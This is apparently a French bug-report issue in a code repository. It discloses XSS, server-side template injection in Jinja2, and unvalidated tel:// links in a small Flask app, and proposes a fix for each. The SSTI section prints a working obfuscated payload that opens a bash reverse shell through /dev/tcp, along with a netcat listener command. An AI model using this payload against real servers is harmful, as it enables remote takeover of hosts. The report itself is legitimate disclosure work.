XSS, SSTI, Liens non vérifiés #1
Loading…
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
XSS sur titre et description
proof of concept :
<u>Hi</u>
Resultat souhaité : texte affiché tel quel et echappé
Resultat obtenu : les balises sont interpretées
fix : echaper les variables
titre
etdesc
dans app.py#L25-L27SSTI sur titre, description et url(si le type est changé)
proof of concept :
setup coté attaquant :
nc -l -vv -p 4242
setup coté victime : remplir un des champs avec
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['system']('bash -i \x3e\x26 /dev/tcp/127.0.0.1/4242 0\x3e\x261') }}
resultat : reverse shell sur la machine hote
Resultat souhaité : text affiché tel quel et echappé
Resultat obtenu : jinja2 interprete et execute le payload
fix : rendre les vues sans passer par jinja2, a aucun moment le moteur de template est utilisé donc inutile de le charger
info : https://www.onsecurity.co.uk/blog/server-side-template-injection-with-jinja2/
demo : https://gofile.io/d/jSYC9S
Possible attaque coté utilisateur
proof of concept : remplir le champs url avec
tel://+33642424242
Resultat souhaité : si l'utilisateur clique sur le lien, son téléphone va appeler le 06 42 42 42 42
Resultat souhaité : on ne devrai pas pouvoir envoyer un tel lien
fix : verifier que le lien est bien de type http(s)
info : https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml